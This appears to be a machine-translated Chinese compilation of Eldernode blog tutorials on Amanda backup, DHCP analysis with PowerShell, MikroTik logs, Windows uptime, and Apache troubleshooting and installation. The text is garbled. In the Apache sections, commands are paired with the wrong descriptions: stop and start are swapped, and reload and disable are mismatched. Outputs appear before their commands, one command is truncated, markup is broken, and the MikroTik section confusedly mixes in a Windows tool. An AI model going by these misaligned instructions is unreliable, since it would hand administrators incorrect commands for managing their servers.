阿曼达服务特点
除了上述解释之外,该软件还为您提供了以下好处:
1- 用 C 和 Perl 编写,是自由发布的源代码和可执行文件。
2- 虽然 Amanda 能够备份 32 和 64 位 Windows 机器,但它可以备份multiplee 机器,并在完成后逐个复制完成的转储。
3- 备份所花费的时间对于用户来说也是相当可观的。关于 Amanda,您只需要等待大约 40 分钟就可以将 41GB 备份到 AIT5,或者不到 75 分钟就可以将 30 GB 备份到磁盘上的虚拟磁带。
4- 该过程完成后,它会维护一个备份文件及其在介质上的位置的目录。
5- 阿曼达没有覆盖错误的磁带,但管理它。当你决定恢复时,你将能够得到阿曼达的帮助,因为它会告诉你你需要什么样的磁带,以及在哪里可以找到它们。
6- 使用通用接口,Amanda 将支持磁带转换器,并且您可以将其定制为任何类型的库、传送带、机器人、堆垛机或可以通过 Unix 命令行控制的虚拟磁带。
7-****设备 API 为存储设备提供可插拔接口。并且捆绑驱动支持盘上磁带和虚拟磁带,DVD-RW,RAIT,亚马逊 S3。通过这种方式,捆绑的 amvault 可以复制到可移动介质,用于异地存储(D2D2T)或云存储(D2D2C)。
使用 OpenSSH,服务器和客户端之间的安全通信也得到 Amanda 的支持,并允许对 DMZ 或互联网上的机器进行安全备份。
阿曼达使用 GPG 或其他软件对其客户端或服务器上的文件进行加密备份。
10- 如果你愿意,你可以以压缩、压缩或定制程序的形式接收备份存档文件。
11-****Kerberos 5,包括加密转储、由 Amanda 支持。
12- 阿曼达回收被放下或悬挂的机器。
阿曼达通过电子邮件向您发送所有错误的详细结果。
14- 在向您的网络添加磁盘和计算机时,您可以使用它来动态调整备份时间表以保持在限制内,而不是手动调整。
15- 由不得你安排完整和增量备份,由 Amanda 来做。此外,如果确定备份级别对资源来说是最佳的,它会提升备份级别。
16- 通过预运行检查程序检查磁带和服务器主机以及所有客户端主机。您将收到一封电子邮件,查看任何可能导致备份失败的问题的报告。
阿曼达对 IPv6 很友好。
如果需要,运行 Cron 。
19- 对于的大型备份,Amanda 会将它们拆分,并自动将碎片放在多个称为跨转磁带的磁带上。
您可以使用应用程序 API 为关系数据库或特殊文件系统定制备份。
21- 阿曼达执行用户提供的备份前-和备份后脚本。例如,用于实施数据库参照完整性。
得知 Amanda 是 Linux Journal 读者选择奖的得主并不令人惊讶。
用阿曼达在 Linux 上备份 T3
阿曼达的要求
使用 Amanda 的先决条件是提供一个可以访问磁盘(本地、NAS 或 SAN)或大容量磁带机或磁带库的主机。Amanda 支持所有现代磁带格式,如 LTO、EB、DAT 或 DLT。您决定备份的所有计算机都是备份客户端主机,服务器主机也可以是客户端主机。使用保留磁盘,Amanda 能够在磁盘上并行运行备份,仅在备份完成时将它们写入磁带。不需要保留磁盘,它可以按顺序运行到磁带驱动器的备份。Amanda 使用更大的存储盘会表现得更好。保留磁盘应该大于最大磁盘分区的转储输出。这意味着,如果您想要备份一些压缩到 500 GB 的 TB 级磁盘,您的保留磁盘上至少需要 500 GB。如果磁盘变得远远大于其大小,Amanda 就会停止。但是,每日报告电子邮件将发送给您,以帮助您预测这些问题并进行配置。
结论
在本教程中,您了解了介绍 Amanda Linux Server 备份工具。在您考虑的系统上安装 Amanda backup server 后,它会开始将网络上的主机备份和归档到磁盘、磁带转换器/驱动器或云存储中。如果您有兴趣了解更多信息,请找到我们关于如何在 Centos 7 上安装 Amanda Backup Server 的相关文章。
如何用 PowerShell - ElderNode 博客分析 DHCP 服务器
原文:https://blog.eldernode.com/analyze-dhcp-server-with-powershell/
如何用 PowerShell 分析 DHCP 服务器?DHCP 是一种网络管理协议,它为网络上的每个设备分配一个 IP ,这样它就可以通过网络与其他设备通信。 DHCP 自动集中管理这些设置,网络管理员无需手动为所有设备分配 IP 地址。 DHCP 可以在小型局域网以及大型企业网中实现。
当设备在网络中移动时,DHCP 会自动为其分配一个新的 IP 地址。在大多数环境中, DHCP 服务器是 IT 基础设施的关键组件。除了监控确保服务的基本可用性之外,您可能还想检查 IP 作用域或租约的状态。 PowerShell 为此提供了几个cmdlet。
在本文中,我们将教你如何用 PowerShell 分析 DHCP 服务器。和我们在一起。
在 Eldernode 选择您的完美 Windows 虚拟专用服务器包
管理基于 Windows 的 DHCP 服务器的命令是 DhcpServer 模块的一部分,可以通过安装 DHCP 的 RSAT 获得。这里提到的cmdlet对于分析出现的问题特别有用。
如何识别所有服务器并查询其设置
第步是检索向网络提供 DHCP 服务的服务器列表。这对于拥有几个 DHCP 服务器的大型环境尤其重要。
Get-DhcpServerInDC cmdlet 将完成这项工作,并且通常在没有参数的情况下调用。
为了在其他命令中进一步使用,您可以将返回的服务器名称存储在一个变量中:
$dhcps = (Get-DhcpServerInDC).DnsName
cmdlet 返回在活动目录中注册的 DHCP 服务器的列表。这意味着您不会发现在 IT 部门不知情的情况下连接到网络的恶意 DHCP 服务器。
一个 DHCP 服务器的一些基本设置,比如它是否是域的成员以及是否被授权,可以用下面的查询来检索:
Get-DhcpServerSetting -ComputerName <MyDHCP>
这个 cmdlet 还会告诉您数据是否已经从备份中恢复。关于数据库的这些信息和其他信息也可以从以下查询中获得:
Get-DhcpServerDatabase -ComputerName <MyDHCP>
随着
Get-DhcpServerAuditLog -ComputerName <MyDHCP>
您可以发现是否已经为 DHCP 服务激活了日志记录,以及日志文件存储在哪里。
但是,你不能用这个命令显示的日志内容。相反,您必须自己评估这个文本文件。
【IPv4 和 IPv6 专用 cmdlets】
模块的大部分功能在两个版本中都有。
这些函数的名称中都有一个“ 4 或“ 6 ,因为它们分别与 IPv4 或 IPv6 相关。因此,针对 IPv4 的以下示例可以应用于 IPv6 :
要获得 IPv4 的 DHCP 服务的统计数据,请使用:
Get-DhcpServerv4Statistics -ComputerName <MyDHCP>
统计数据包含的数字也可以通过评估单个示波器得到,但这里是所有示波器的总数。
Getting IPv4-related statistics for a DHCP server using Get-DhcpServerv4Statistics
如何分析范围
大多数查询,无论是关于可用 IP 地址、已分配租约还是一般统计,都涉及特定的范围。您可以使用 Get-DhcpServerv4Scope 来枚举它们。
例如,如果你想输出 所有 DHCP 服务器的所有作用域,看看它们之间是否有重叠,你可以如下进行:
$dhcps = (Get-DhcpServerInDC).DnsName $dhcps | foreach {Get-DhcpServerv4Scope -ComputerName $_}
要获得 DHCP 服务器的 IPv4 作用域的最重要数字的概述,请使用以下命令:
Get-DhcpServerv4ScopeStatistics -ComputerName <MyDHCP>
这个命令告诉你已经被使用的作用域的百分比,以及有多少地址已经被占用或者仍然可用。
空闲、分配和保留地址
空闲地址的数据可以通过Get-DHCP serverv 4 free IP address获取。
注: 如果只是使用 ScopeID 参数进行检索,只会得到下一个空闲地址。
要获取更多可用地址,您必须输入 NumAddress 的值:
DhcpServerv4FreeIPAddress -ComputerName <MyDHCP> -ScopeId 192.168.0.0 ` -StartAddress 192.168.0.59 -NumAddress 20
这个例子列出了 20 个空闲地址,从 192.168.0.59 开始。
您可能想知道哪些地址已经分配给设备:
Get-DhcpServerv4Lease -ComputerName <MyDHCP> -ScopeId 192.168.0.0
在这个函数的输出中,你会发现客户的 MAC 地址和租约的状态作为附加信息。
除了空闲的和已经分配的地址之外,通常还有为具有固定 IP 的设备保留的地址。这些可以按如下方式查询:
Get-DhcpServerv4Reservation -ComputerName <MyDHCP> -ScopeId 192.168.0.0
注意: 如果客户端无法接收地址,您可以查看它是否出现在拒绝列表中:
Get-DhcpServerv4Filter -ComputerName <MyDHCP>
结论
模块 DhcpServer 包含总共 121 个命令,这些命令不仅可以查询设置及其状态,还可以配置服务。完整的文档可以在微软文档上找到。
亦作,见:
如何在 Windows Server 2019 上安装和配置 DHCP 服务器
尊敬的用户,我们希望您能喜欢这个教程,您可以在评论区提出关于本次培训的问题,或者解决老年人节点培训领域的其他问题,请参考提问页面部分,并尽快提出您的问题。腾出时间给其他用户和专家来回答你的问题。
如何用 PowerShell 分析 DHCP 服务器?
好运。
如何分析您的 MikroTik RouterOS 网络的日志文件
原文:https://blog.eldernode.com/analyze-the-log-files-of-your-mikrotik/
日志文件是在特定时间发生的事件,可能包含使其有意义的元数据。日志文件是系统中发生的所有事情的历史记录,包括事务、错误和入侵等事件。这些数据可以以不同的方式传输,可以是结构化的、半结构化的和非结构化的。在本文中,我们将教你如何分析你的 MikroTik RouterOS 网络的日志文件。如果你想购买 Mikrotik VPS ,你可以访问 Eldernode 网站上提供的计划。
教程分析你的 MikroTik RouterOS 网络的日志文件
日志是自动生成文件的扩展,包含与某些软件和操作系统相关的事件。它们可以保存很多东西,日志文件经常被用来显示所有与创建它们的系统或程序相关的事件。例如,您的备份程序可能会准确记录备份过程中发生(或未发生)的事情。Windows 为其各种服务保留不同类型的日志文件。
创建文件系统
分析 Mikrotik RouterOS 网络日志文件的第一步是创建文件系统。您可以使用以下命令在 Mikrotik RouterOS 中创建文件系统:
/file print file=myFile
/file set myFile.txt contents=""
安装日志解析器
日志解析器是一个非常强大的工具,用于访问基于文本的数据。这种基于文本的数据包括日志文件、XML 文件和 CSV 文件。您应该注意到,它在窗口中显示关键数据源,如事件日志和注册表。
你要注意的是,你通过文件系统和 Active Directory 告诉日志解析器你需要什么信息。你甚至可以决定信息是如何处理的。此外,您的查询结果可以格式化为文本输出。
要安装日志解析器,只需遵循以下步骤。
第一步,你必须参考微软网站 下载日志解析器 。在这里,我们将下载路径中的文件(C:\Downloads)。
打开 Log Parser 后,下一步是点击命令提示符并打开命令行。为此,只需右击并选择以管理员身份运行。
转到下载文件的路径,在命令行中键入以下命令,然后按 enter :
MsiExec.exe /i LogParser.msi /qn
稍后,您可以通过开始菜单访问日志解析器。
配置日志解析器
分析 Mikrotik RouterOS 网络日志文件的步骤之一是配置日志解析器。Log Parser 是一个强大的工具,它提供对基于文本的数据的通用查询访问,例如日志文件、XML 文件和 CSV 文件,以及 Microsoft Windows 操作系统上的关键数据源,例如事件日志、文件系统和 Active Directory 目录服务。在这个工具的帮助下,您可以使用 SQL 和对 Microsoft SQL Server、MySQL 或 SQLite 数据库进行内联查询。网络代码。
创建文件系统进行日志记录
您应该为日志记录创建一个文件系统,以分析 Mikrotik RouterOS 网络的日志文件。RouterOS 中记录了各种系统事件和状态信息。您可以将日志保存到路由器内存、磁盘、文件、电子邮件,甚至发送到远程系统日志服务器。您可以从/log 菜单打印路由器本地存储器中存储的所有消息。每个条目都包括事件发生的时间和日期、此消息所属的主题以及消息本身。
配置日志记录设置
分析 Mikrotik RouterOS 网络日志文件的最后一步是配置日志记录设置。“系统设置”页面包含一个日志设置选项。您可以记录部署中的选定事件,以便进行故障排除和解决。你所要配置的就是进入配置> >系统设置> >日志设置路径,选择你想要的监控事件。
结论
对操作系统、应用程序和服务进行故障排除和修复的最佳和最专业的方法是检查日志文件。在本文中,我们试图教你如何分析 MikroTik RouterOS 网络的日志文件。如果你有任何问题,可以在评论区和我们分享。
教程分析 Windows Server 上的正常运行时间- Eldernode 博客
原文:https://blog.eldernode.com/analyze-uptime-on-windows-server/
许多人不时需要的一件事是他们的计算机在没有重启的情况下已经运行了多长时间。这个时间称为正常运行时间。在这篇文章中,我们将教你如何分析 Windows 服务器上的正常运行时间。如果你想购买一台 Windows VPS 服务器,你可以访问 Eldernode 中提供的软件包。
如何分析 Windows 服务器上的正常运行时间
分析正常运行时间简介
正常运行时间是计算机服务和运行的可用时间。在这种情况下,系统自动保持稳定状态,不会崩溃。此外,不需要为了维护和修理或管理目的而重启系统。
注: 崩溃是指由于硬件故障或软件错误导致系统关机。这个标准经常被用来衡量系统的稳定性和有效性。
有些人想知道在他们的电脑上安装操作系统需要多长时间,并根据这个时间范围和操作系统的稳定性决定重新安装操作系统。
通常,虚拟主机公司报告一年 99%的正常运行时间或服务器可用性。如果一年等于 365 天,即一年最多 3 天,服务器就会停机。明确的原因可能是数据中心网络发生变化,配置服务器时出现问题,攻击服务器,更新服务器硬件或软件包,如内核、web 服务器、PHP、MySQL 等。当服务器或其服务出现问题时,应尽快识别并修复问题。
本文的其余部分,如何分析 Windows 服务器上的正常运行时间将从几个方面进行解释。请加入我们。
用网络统计检查分析 Windows 服务器上的正常运行时间
在这一节中,我们将向您展示如何使用 Net Statistics 分析 Windows Server 上的正常运行时间。为此,只需在第一步中打开命令行或 PowerShell 。然后,您必须键入并执行以下命令之一:
net statistics server
或者
net statistics workstation
需要知道的重要一点是,如果您使用的是 Windows Server 2012 或 2016,建议使用以服务器结尾的命令。此外,如果您运行的是 Windows 8.1 或 10,请在工作站上使用命令 ending。
如下图所示,以“ Statistics since… ”开头的一行显示了您的电脑上次启动的时间:
用 SystemInfo 分析 Windows 服务器上的正常运行时间
第二种方法称为 SystemInfo,是使用一个简单的命令提示符命令来查看设备的上次启动时间。在这种方法中,您可以使用以下命令:
systeminfo
应该注意的是,您可以使用管道并找到一个操作符来减少仅在系统引导时间线中的输出:
systeminfo | find “System Boot Time”
另一个有趣的地方是,如果您想检查远程服务器上的启动时间,您可以执行以下操作:
systeminfo /s remoteservername | find “System Boot Time”
如何使用 Windows Uptime 命令
在解释这一点之前,应该指出,最初的 Windows Server Uptime 命令是微软发布的一个名为 Uptime.exe 的程序的一部分。你现在可以从互联网档案网址下载这个文件。
一旦你成功下载了文件,只要把它放在 C:\Windows\System32 文件夹中。
完成上述步骤后,您现在可以使用以下命令来查找系统正常运行时间:
uptime
如果您想远程查看服务器或工作站的正常运行时间,可以使用以下命令:
uptime remoteservername
用任务管理器 分析 Windows 服务器上的正常运行时间
在这个方法中,我们想教你如何通过任务管理器查看和分析系统正常运行时间。为此,只需遵循以下步骤。
第一步是打开任务管理器。为此,你可以右击任务栏并点击任务管理器。完成后,点击性能标签。如下图所示,在左下角的 CPU 窗口中,您可以看到正常运行时间:
结论
一些客户并不关注正常运行时间,因为其他公司也宣布了相同的正常运行时间。每台主机的实际正常运行时间是不同的,因此本教程中提到的解决方案将对您有所帮助。在本文中,我们试图教你如何分析 Windows Server 上的正常运行时间。
常见 Apache 错误故障排除- Eldernode
原文:https://blog.eldernode.com/apache-errors-troubleshooting/
在接下来的 Apache 教程中,在本文中,您将学习常见 Apache 错误的故障排除。本系列教程解释了如何对使用 Apache webserver 时可能遇到的一些最常见的错误进行故障排除和修复。
本系列中的每一篇教程都包括对常见的 Apache 配置、网络、文件系统或权限错误的描述。本系列文章首先概述了可以用来对 Apache 进行故障排除的命令和日志文件。后续教程详细分析了特定的错误。为了让这个指南更好地发挥作用,尝试购买和使用 VPS 或 Linux 虚拟主机。
常见 Apache 错误故障排除
有三个主要命令和一组常见的日志位置,可以用来开始排除 Apache 错误。通常,在对 Apache 进行故障排除时,您将按此处指示的顺序使用这些命令,然后检查日志文件中的特定诊断数据。
在大多数 Linux 发行版中,您通常用来对 Apache 进行故障排除的命令有:
system CTL–用于通过 systemd 服务管理器控制 Linux 服务并与之交互。
——用于查询和查看 systemd 生成的日志。
Apache CTL–排除故障时,该命令用于检查 Apache 的配置。
这些命令、如何使用它们以及 Apache 的日志位置(您可以在其中找到关于错误的其他信息)将在下面的章节中详细描述。
请注意 :在 Debian 和 Ubuntu 系统上,apache 的服务和进程名是 apache2,而在 CentOS、Fedora 等 RedHat 衍生系统上,Apache 的服务和进程名是 httpd。除了服务和正在运行的进程名之间的差异之外,启动、停止和检查 Apache 的状态,以及使用 journalctl 的日志在任何使用 systemd 管理 Apache 服务的 Linux 系统上应该都是一样的。确保为您的 Linux 发行版使用正确的名称。
systemctl 针对阿帕奇的命令
要使用 systemd 服务管理器排除常见的 Apache 错误,第一步是检查系统上 Apache 进程的状态。下面的 systemctl 命令将查询 systemd 以获得 Apache 进程的状态。
在 Ubuntu 和 Debian 系统上运行:
`sudo systemctl status apache2.service -l --no-pager`
-l 标志将确保输出不被截断或省略。–无寻呼机 标志将确保输出将直接发送到您的终端,而不需要您进行任何交互来查看它。您应该会收到如下输出:
输出
`● apache2.service - The Apache HTTP Server Loaded: loaded (/lib/systemd/system/apache2.service; enabled; vendor preset: enabled) Drop-In: /lib/systemd/system/apache2.service.d └─apache2-systemd.conf Active: active (running) since Mon 2020-07-13 14:43:35 UTC; 1 day 4h ago Process: 929 ExecStart=/usr/sbin/apachectl start (code=exited, status=0/SUCCESS) Main PID: 1346 (apache2) Tasks: 55 (limit: 4702) CGroup: /system.slice/apache2.service ├─1346 /usr/sbin/apache2 -k start . . .`
要在 CentOS 和 Fedora 系统上检查 Apache 进程,请运行:
`sudo systemctl status httpd.service -l --no-pager`
输出
`● httpd.service - The Apache HTTP Server Loaded: loaded (/usr/lib/systemd/system/httpd.service; enabled; vendor preset: disabled) Active: active (running) since Tue 2020-07-14 19:46:52 UTC; 3s ago Docs: man:httpd.service(8) Main PID: 21217 (httpd) Status: "Started, listening on: port 80" Tasks: 213 (limit: 2881) Memory: 16.6M CGroup: /system.slice/httpd.service ├─21217 /usr/sbin/httpd -DFOREGROUND . . . Jul 14 19:46:52 localhost.localdomain httpd[21217]: Server configured, listening on: port 80`
在任一情况下,记下输出中的 活动 行。如果您的 Apache 服务器没有显示前面例子中突出显示的 活动(运行) ,但是您期望它应该显示,那么可能有一个错误。通常,如果出现问题,您的输出中会有如下一行(注意突出显示的失败部分):
示例错误输出
如果您的 Apache 进程或配置有问题,您可以使用 journalctl 命令进一步排除故障。
`Active: failed (Result: exit-code) since Tue 2020-07-14 20:01:29 UTC; 1s ago`
如果您的 Apache 进程或配置有问题,您可以使用 journalctl 命令进一步排除故障。
用于阿帕奇的命令
要检查 Apache 的 systemd 日志,可以使用 journalctl 命令。Apache 的 systemd 日志通常会指出 Apache 进程的启动或管理是否存在问题。
这些日志独立于 Apache 的请求和错误日志。 journalctl 显示来自 systemd 的日志,这些日志描述了 Apache 服务本身,从启动到关闭,以及在此过程中可能遇到的任何进程错误。
在 Ubuntu 和 Debian 系统上,使用以下命令检查日志:
–since today标志将限制命令的输出,仅记录当天 00:00:00 开始的条目。使用此选项将有助于限制在检查错误时需要检查的日志条目的数量。您应该会收到如下输出:
**`sudo journalctl -u apache2.service --since today --no-pager`**
输出
如果您使用基于 CentOS 或 Fedora 的系统,请使用以下版本的命令:
**``Jul 14 20:12:14 ubuntu2004 systemd[1]: Starting The Apache HTTP Server... Jul 14 20:12:14 ubuntu2004 systemd[1]: Started The Apache HTTP Server.``**
输出
**``sudo journalctl -u httpd.service --since today --no-pager``**
如果有错误,您将在输出中看到类似下面的一行,Linux 发行版之间的主要区别是突出显示的 yourhostname 部分:
**``Jul 14 20:13:09 centos8 systemd[1]: Starting The Apache HTTP Server... . . . Jul 14 20:13:10 centos8 httpd[21591]: Server configured, listening on: port 80``**
示例错误输出
如果您的 Apache 服务器在 **日志** 中有错误,那么下一步就是使用 **apachectl** 命令行工具调查 Apache 的配置。
**``Jul 14 20:13:37 yourhostname systemd[1]: Failed to start The Apache HTTP Server.``**
故障排除用**Apache CTL**
大多数 Linux 发行版都包括 Apache 的 **apachectl** 实用程序。 **apachectl** 是一个帮助检测和诊断 Apache 配置问题的无价工具。
要使用 **apachectl** 解决问题,请使用**Apache CTL config test**命令测试您的 Apache 配置。该工具将解析您的 Apache 文件,并在尝试启动服务器之前检测任何错误或缺失的设置。
在基于 Ubuntu、Debian、CentOS 和 Fedora 的发行版上运行如下命令:
一个有效的 Apache 配置将产生如下所示的输出:
**``sudo apachectl configtest``**
输出
根据您的 Linux 发行版,可能会有其他行混入输出中,但是重要的一行是说 **语法 OK** 的那一行。
**``Syntax OK``**
如果您的 Apache 配置中有错误,比如某个指令引用了一个未启用的模块,甚至是一个错别字, **apachectl** 都会检测到它,并尝试通知您这个问题。
例如,试图对未启用的 Apache 模块使用指令将导致如下所示的 apachectl configtest 消息。
示例错误输出
在本例中, **ssl** 模块未启用,因此在测试配置时, **SSLEngine** 指令会产生错误。最后一行还表示**Apache 错误日志可能有更多的信息** ,这是下一个查找更详细的调试信息的地方。
**``AH00526: Syntax error on line 232 of /etc/apache2/apache2.conf: Invalid command 'SSLEngine', perhaps misspelled or defined by a module not included in the server configuration Action 'configtest' failed. The Apache error log may have more information.``**
Apache 日志文件
Apache 日志文件对于故障排除是非常有用的资源。通常,您在浏览器或其他 HTTP 客户端收到的任何错误都会在 Apache 的日志中有相应的条目。有时,Apache 还会将与配置、内置模块和其他调试信息相关的错误输出到其日志文件中。
要在对 Fedora、CentOS 或 RedHat 服务器上的 Apache 进行故障排除时检查日志文件中的错误,请检查**/var/log/httpd/error _ log**文件。
如果您正在对 Debian 或 Ubuntu 衍生的系统进行故障排除,请使用类似于 **tail** 或 **less** 的工具检查**/var/log/Apache 2/error . log**中的错误。例如,要使用**查看错误日志的最后两行,请运行以下命令:**
**用你想检查的行数代替命令中的数字 **2** 。在 CentOS 或 Fedora 系统上,要检查的日志文件是**/var/log/httpd/error _ log**。**
`**`sudo tail -n 2 /var/log/apache2/error.log`**`
**错误示例类似于下面几行。不管您使用哪个 Linux 发行版来运行 Apache 服务器:**
**错误日志示例**
**该输出中的两行是不同的错误消息。它们都引用了导致错误的模块(第一行是 **代理** ,第二行是 **代理 _http** ),并且包含了一个特定于该模块的错误代码。第一个, **AH00957** ,表示 Apache 服务器试图使用 **代理** 模块连接到后端服务器(在本例中为端口 9090 上的 127.0.0.1 ),但未能成功。**
`**`[Wed Jul 15 01:34:12.093005 2020] [proxy:error] [pid 13949:tid 140150453516032] (13)Permission denied: AH00957: HTTP: attempt to connect to 127.0.0.1:9090 (127.0.0.1) failed [Wed Jul 15 01:34:12.093078 2020] [proxy_http:error] [pid 13949:tid 140150453516032] [client 127.0.0.1:42480] AH01114: HTTP: failed to make connection to backend: 127.0.0.1`**`
**第二个错误源于第一个错误:AH01114 是一个 **proxy_http** 模块错误,它也表明 Apache 无法连接到已配置的后端服务器来发出 http 请求。**
**这些示例行仅用于说明目的。如果您正在诊断 Apache 服务器的错误,那么日志中的错误行可能会有不同的内容。不管您的 Linux 发行版如何,日志中任何错误行的格式都将包括相关的 Apache 模块和错误代码,以及错误的文本描述。**
**一旦您知道是什么导致了 Apache 服务器的问题,您就可以继续研究和解决这个问题。错误代码和文本描述特别有用,因为它们为您提供了明确而具体的术语,您可以使用这些术语来缩小问题的可能原因的范围。**
****结论****
**Apache 错误的故障排除范围很广,从诊断服务本身的错误,到定位模块的错误配置选项,或者详细检查定制的访问控制规则。这篇关于诊断 Apache 问题的介绍解释了如何使用许多实用程序来帮助缩小错误的可能原因。通常,您会以相同的顺序使用这些实用程序,尽管您总是可以跳过一些,或者如果您对问题可能是什么有一个大致的概念,就直接从检查日志开始。如果你有兴趣学习更多关于 Apache 的知识,可以找到我们的相关文章,比如如何在 Debian 10 上使用 Let's Encrypt 来保护 Apache 的安全,或者如何在 Ubuntu 20.04 上使用 Let's Encrypt 来保护 Apache 的安全,比如 T2 的文章。**
**但是,作为故障排除的一般顺序,有条不紊地按照描述的顺序使用这些工具会有所帮助。使用 systemctl 开始故障排除,以检查 Apache 服务器的状态。如果需要更多信息,可以使用 **journalctl** 命令检查 Apache 的 **systemd** 日志。如果在检查 **日志** 后问题仍然不明显,下一步是使用**Apache CTL config test**测试 Apache 的配置。最后,为了进行深入的故障排除,检查 Apache 的日志文件通常会指出一个特定的错误,并提供有用的诊断消息和错误代码。**
**但是,作为故障排除的一般顺序,有条不紊地按照描述的顺序使用这些工具会有所帮助。使用 systemctl 开始故障排除,以检查 Apache 服务器的状态。如果需要更多信息,可以使用 **journalctl** 命令检查 Apache 的 **systemd** 日志。如果在检查 **日志** 后问题仍然不明显,下一步是使用**Apache CTL config test**测试 Apache 的配置。最后,为了进行深入的故障排除,检查 Apache 的日志文件通常会指出一个特定的错误,并提供有用的诊断消息和错误代码。**
如何在 Ubuntu 20.04 - Eldernode 上安装 Apache Web 服务器
教程如何在 Ubuntu 20.04 上安装 Apache Web 服务器。Apache HTTP 服务器是世界上使用最广泛的 web 服务器。它提供了许多强大的功能,包括可动态加载的模块、强大的媒体支持以及与其他流行软件的广泛集成。不要浪费时间,买你自己的 Ubuntu Vps 来进行一次真正的安装。
为了让本教程更好地发挥作用,请考虑以下先决条件:
如何在 Ubuntu 20.04 上安装 Apache Web 服务器
如果你正确地遵循这个指南的步骤,学习如何在 Ubuntu 20.04 上安装 Apache Web 服务器会很容易。
1-如何安装 Apache
虽然 Apache 在 Linux Ubuntu 的默认软件仓库中可用,但您可以从更新本地包索引开始,以反映最新的上游变化。使得使用传统的包管理工具来安装它成为可能。
sudo apt update
然后安装 apache2 包:
sudo apt install apache2
2-如何调整防火墙
在这一步中,在测试 Apache 之前,有必要修改防火墙设置,以允许外部访问默认的 web 端口。假设您遵循了先决条件中的说明,那么您应该配置一个 UFW 防火墙来限制对您的服务器的访问。
注意,在安装过程中,Apache 向 UFW 注册,以提供一些应用程序配置文件,这些文件可用于启用或禁用通过防火墙对 Apache 的访问。
要列出 ufw 应用配置文件,请运行以下命令:
sudo ufw app list
输出
Available applications: Apache Apache Full Apache Secure OpenSSH
从输出可以清楚地看出,Apache 有三个可用的概要文件:
- Apache :此配置文件仅打开端口 80(正常、未加密的 web 流量)
- Apache Full :此配置文件同时打开端口 80(正常的未加密 web 流量)和端口 443 (TLS/SSL 加密流量)
- Apache Secure :此配置文件仅打开端口 443 (TLS/SSL 加密流量)
注意 :另外,建议您启用最严格的配置文件,该文件仍将允许您配置的流量。由于我们还没有在本指南中为我们的服务器配置 SSL,我们只需要允许端口 80 上的流量:
sudo ufw allow 'Apache'
接下来,使用以下命令验证更改。
sudo ufw status
输出
Status: active To Action From -- ------ ---- OpenSSH ALLOW Anywhere Apache ALLOW Anywhere OpenSSH (v6) ALLOW Anywhere (v6) Apache (v6) ALLOW Anywhere (v6)
3-如何检查您的网络服务器
安装过程结束时,Ubuntu 20.04 会启动 Apache。web 服务器应该已经启动并运行。
您可以通过键入以下命令来确保服务正在运行:
输出
sudo systemctl status apache2
由于此输出确认,服务已成功启动。然而,测试这一点的最好方法是从 Apache 请求一个页面。
● apache2.service - The Apache HTTP Server Loaded: loaded (/lib/systemd/system/apache2.service; enabled; vendor preset: enabled) Active: active (running) since Thu 2020-04-23 22:36:30 UTC; 20h ago Docs: https://httpd.apache.org/docs/2.4/ Main PID: 29435 (apache2) Tasks: 55 (limit: 1137) Memory: 8.0M CGroup: /system.slice/apache2.service ├─29435 /usr/sbin/apache2 -k start ├─29437 /usr/sbin/apache2 -k start └─29438 /usr/sbin/apache2 -k start
您可以通过您的 IP 地址访问默认的 Apache 登录页面,以确认软件运行正常。如果您不知道您的服务器的 IP 地址,您可以从命令行以几种不同的方式获得它。
在服务器的命令提示符下键入以下内容:
您将得到几个用空格分隔的地址。您可以在 web 浏览器中尝试每一种方法,以确定它们是否有效。
hostname -I
另一种选择是使用 Icanhazip 工具,该工具会提供从互联网上的另一个位置读取的公共 ip 地址:
在浏览器的地址栏中输入服务器的 IP 地址:
url -4 icanhazip.com
然后你会看到默认的 Ubuntu 20.04 Apache 网页:
http://your_server_ip
一旦看到这个页面,就意味着 Apache 工作正常。它还包括一些关于重要的 Apache 文件和目录位置的基本信息。
Once you can see this page, it means that Apache is working correctly. It also includes some basic information about important Apache files and directory locations.
4-如何管理 Apache 进程
您已经准备好学习一些基本的管理命令,因为 web 服务器已经启动并正在运行。
要停止您的 web 服务器:
通过运行下面的命令,在 web 服务器停止时启动它。
sudo systemctl stop apache2
使用以下命令停止并再次启动该服务。
sudo systemctl start apache2
如果只是简单地修改配置,Apache 通常可以在不中断连接的情况下重新加载。
sudo systemctl restart apache2
为此,请使用以下命令:
默认情况下,Apache 被配置为在服务器启动时自动启动。如果这不是您想要的,请通过键入以下命令禁用此行为:
sudo systemctl reload apache2
键入以下命令以重新启用该服务,使其在引导时启动。
sudo systemctl disable apache2
Type the command below to re-enable the service to start up at boot.
sudo systemctl enable apache2
5-如何设置虚拟主机(推荐)
当使用 Apache web 服务器时,您可以使用虚拟主机来封装配置细节,并从单个服务器托管多个域。你将建立一个名为 your_domain 的域名,但是你应该用你自己的域名替换它。
Ubuntu 20.04 上的 Apache 有一个默认启用的服务器块,它被配置为提供来自 /var/www/html 目录的文档。虽然这对于单个站点来说效果很好,但是如果你托管多个站点的话,这可能会变得很笨拙。让我们不要修改 /var/www/html ,而是在 /var/www 中为 your_domain 站点创建一个目录结构,保留 /var/www/html 作为缺省目录,以便在客户端请求与任何其他站点不匹配时提供服务。
为 your_domain: 创建目录
现在,使用 $USER 环境变量分配目录的所有权:
sudo mkdir /var/www/your_domain
如果您没有修改设置默认文件权限的 umask 值,那么您的 web 根目录的权限应该是正确的。为了确保您的权限是正确的,并允许所有者读取、写入和执行文件,同时只授予组和其他人读取和执行权限,您可以输入以下命令:
sudo chown -R $USER:$USER /var/www/your_domain
然后,使用 nano 或您喜欢的编辑器创建一个示例index.html页面:
sudo chmod -R 755 /var/www/your_domain
在内部,添加以下示例 HTML:
sudo nano /var/www/your_domain/index.html
/var/www/your _ domain/index . html
您现在可以保存并关闭文件。
<html> <head> <title>Welcome to Your_domain!</title> </head> <body> <h1>Success! The your_domain virtual host is working!</h1> </body> </html>
为了让 Apache 提供这些内容,有必要用正确的指令创建一个虚拟主机文件。与其直接修改位于/etc/Apache 2/sites-available/000-default . conf的默认配置文件,不如在****/etc/Apache 2/sites-available/your _ domain新建一个。conf** 😗*
粘贴以下配置块,该配置块与默认配置块相似,但针对我们的新目录和域名进行了更新:
`sudo nano /etc/apache2/sites-available/your_domain.conf`
/etc/Apache 2/sites-available/your _ domain . conf
****注意:您已经将文档根目录更新到我们的新目录,将服务器管理员更新到一个 your_domain 站点管理员可以访问的电子邮件。我们还添加了两个指令: ServerName ,它为这个虚拟主机定义建立了应该匹配的基本域,以及 ServerAlias ,它定义了应该匹配的更多名称,就像它们是基本名称一样。
